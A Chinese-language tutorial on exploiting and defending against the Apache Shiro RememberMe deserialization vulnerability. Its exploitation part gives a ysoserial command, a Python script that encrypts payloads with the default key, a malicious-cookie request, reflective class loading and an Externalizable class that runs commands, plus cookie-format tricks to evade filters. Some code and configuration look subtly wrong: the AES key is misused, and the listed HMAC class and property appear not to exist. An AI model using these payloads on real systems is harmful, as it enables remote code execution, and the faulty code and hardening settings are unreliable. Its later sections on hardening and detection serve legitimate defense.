shiro反序列化漏洞利用bypass技巧
字数 2409 2025-09-01 11:26:10
Apache Shiro 反序列化漏洞利用与防御技术详解
一、Shiro框架概述
1.1 核心功能模块
Apache Shiro 是一个强大的 Java 安全框架,提供以下核心功能:
-
认证(Authentication)
- 用户身份识别:支持用户名/密码、token、第三方登录等方式
- Subject API:提供
Subject.login()方法进行登录操作 - Realm接口:连接外部数据源(如数据库、LDAP)进行身份验证
-
授权(Authorization)
- 基于角色或权限字符串的访问控制
- 支持声明式和编程式权限检查
- 示例方法:
subject.hasRole("admin")、subject.isPermitted("user:delete")
-
加密(Cryptography)
- 提供常见加密算法封装:AES、MD5、SHA等
- 支持Base64编码解码
- 用于保护敏感数据,如RememberMe功能中使用AES加密cookie数据
-
会话管理(Session Management)
- 跨平台支持:适用于Web和非Web环境
- 提供Session接口管理用户状态
- 支持集群环境下的分布式会话
1.2 架构组成
- SecurityManager:安全管理器,协调所有安全操作
- Subject:代表当前执行用户的抽象接口
- Realm:连接真实数据源,用于认证和授权的数据获取
- SessionManager:管理会话生命周期
- CacheManager:缓存权限信息提高性能
二、Shiro反序列化漏洞原理
2.1 RememberMe功能实现流程
-
登录流程:
- 用户启用"记住我"功能并成功登录
- Shiro将用户主体信息(Principal)进行序列化
- 使用AES加密序列化后的字节流(默认密钥:
kPH+bIxk5D2deZiIxcaaaA==) - 进行Base64编码生成Cookie值返回给客户端
-
自动登录流程:
- 浏览器携带rememberMe Cookie发送请求
- Shiro提取值并进行Base64解码
- 使用相同AES密钥解密
- 对解密后的字节流进行反序列化,恢复Subject对象
- 自动完成用户身份识别
2.2 关键类解析
- Subject:包含用户身份信息和权限信息
- Session:管理用户临时状态信息
- CookieRememberMeManager:实现RememberMe功能
- DefaultSerializer:使用Java原生ObjectInputStream/ObjectOutputStream进行序列化/反序列化
2.3 漏洞成因
- 硬编码密钥:Shiro <= 1.2.4版本使用硬编码AES密钥
- 未过滤反序列化对象:反序列化过程未对对象类型做限制
- 触发条件:
- Apache Shiro <= 1.2.4
- 使用Java原生反序列化 + Apache Commons Collections
三、漏洞利用技术
3.1 基本利用流程
-
使用ysoserial工具生成Commons-Collections利用链payload:
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/shiro_rce" > payload.ser -
加密并Base64编码payload:
import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import pad key = b"kPH+bIxk5D2deZiIxcaaaA==" payload = open('payload.ser', 'rb').read() cipher = AES.new(key, AES.MODE_CBC, iv=b'\x00' * 16) encrypted = cipher.encrypt(pad(payload, AES.block_size)) encoded = base64.b64encode(encrypted).decode() print("Encoded RememberMe Cookie:", encoded) -
构造HTTP请求发送恶意Cookie:
GET / HTTP/1.1 Host: target.com Cookie: rememberMe=ENCODED_COOKIE_HERE
3.2 常见利用链分析
| 库名 | 版本范围 | 利用链名称 | 是否需要调用构造函数 |
|---|---|---|---|
| commons-collections | < 3.2.2 | TransformerMap | 否 |
| commons-collections | >= 3.2.2 | LazyMap | 是 |
| Jackson | < 2.9.10 | enableDefaultTyping | 是 |
| Joda-Time | <= 2.10.1 | DateTimeZone | 是 |
3.3 Bypass技术
3.3.1 绕过黑名单过滤机制
-
使用合法类构建利用链:
- 如
java.util.PriorityQueue+com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl - 不涉及CommonsCollections,可绕过部分检测规则
- 如
-
内存加载类绕过黑名单:
public static Class<?> loadClass(byte[] classBytes) throws Exception { Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); return (Class<?>) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), classBytes, 0, classBytes.length); } -
修改序列化协议:
- 使用
Externalizable接口替代Serializable - 示例类定义:
public class EvilClass implements Externalizable { @Override public void writeExternal(ObjectOutput out) throws IOException {} @Override public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { Runtime.getRuntime().exec("calc.exe"); } }
- 使用
3.3.2 利用特殊格式数据包
-
构造畸形Cookie头:
Cookie: rememberMe= abcdefg; Path=/; HttpOnly ; Secure 或 Cookie: rememberMe="abc def ghi jkl"; Path="/" -
使用Base64 URL Safe编码:
import base64 def url_safe_b64encode(data): return base64.b64encode(data).replace(b"+", b"-").replace(b"/", b"_").rstrip(b"=") -
多段Cookie拆分传输:
Cookie: part1=PAYLOAD_CHUNK_1 Cookie: part2=PAYLOAD_CHUNK_2 -
使用自定义Header字段传输:
GET / HTTP/1.1 Host: target.com X-Token: BASE64_ENCODED_PAYLOAD
四、防御与检测方案
4.1 安全加固方案
-
升级Shiro版本:
- 推荐版本:1.4.x及以上
- Maven升级示例:
<dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.10.0</version> </dependency>
-
配置自定义AES密钥:
[main] cookieManager = org.apache.shiro.web.mgt.CookieRememberMeManager cookieManager.cipherKey = ${base64EncodedCustomKey} securityManager.rememberMeManager = $cookieManager生成密钥命令:
openssl rand -base64 16 -
禁用RememberMe功能:
[main] securityManager.rememberMeManager = $null -
设置Cookie安全属性:
[main] rememberMeCookie = org.apache.shiro.web.servlet.SimpleCookie rememberMeCookie.name = rememberMe rememberMeCookie.httpOnly = true rememberMeCookie.secure = true rememberMeCookie.maxAge = 86400 securityManager.rememberMeManager.cookie = $rememberMeCookie -
使用HMAC签名验证:
[main] cipherService = org.apache.shiro.crypto.AesCipherService cipherService.keySize = 128 hmacService = org.apache.shiro.crypto.HmacSHA256CipherService rememberMeManager = org.apache.shiro.mgt.CookieRememberMeManager rememberMeManager.cipherService = $cipherService rememberMeManager.hmacService = $hmacService rememberMeManager.cipherKey = base64EncodedKeyHere securityManager.rememberMeManager = $rememberMeManager
4.2 检测方法
-
密钥检测:
- 使用已知密钥列表尝试解密rememberMe Cookie
- 常见默认密钥:
kPH+bIxk5D2deZiIxcaaaA== 4AvVhmFLUs0KTA3Kprsdag== Z3VucwAAAAAAAAAAAAAAAA==
-
流量特征检测:
- 检测HTTP请求中rememberMe Cookie的长度和编码特征
- 监控异常反序列化操作
-
日志分析:
- 检查Shiro日志中的异常反序列化错误
- 监控系统命令执行日志
五、总结
Apache Shiro反序列化漏洞是一个严重的安全问题,攻击者可以利用此漏洞实现远程代码执行。通过理解漏洞原理、利用技术和防御措施,可以有效保护系统安全。关键防护措施包括:
- 及时升级Shiro到最新安全版本
- 替换默认加密密钥
- 合理配置RememberMe功能
- 实施反序列化白名单机制
- 加强系统监控和日志分析
遵循这些最佳实践,可以显著降低Shiro反序列化漏洞带来的安全风险。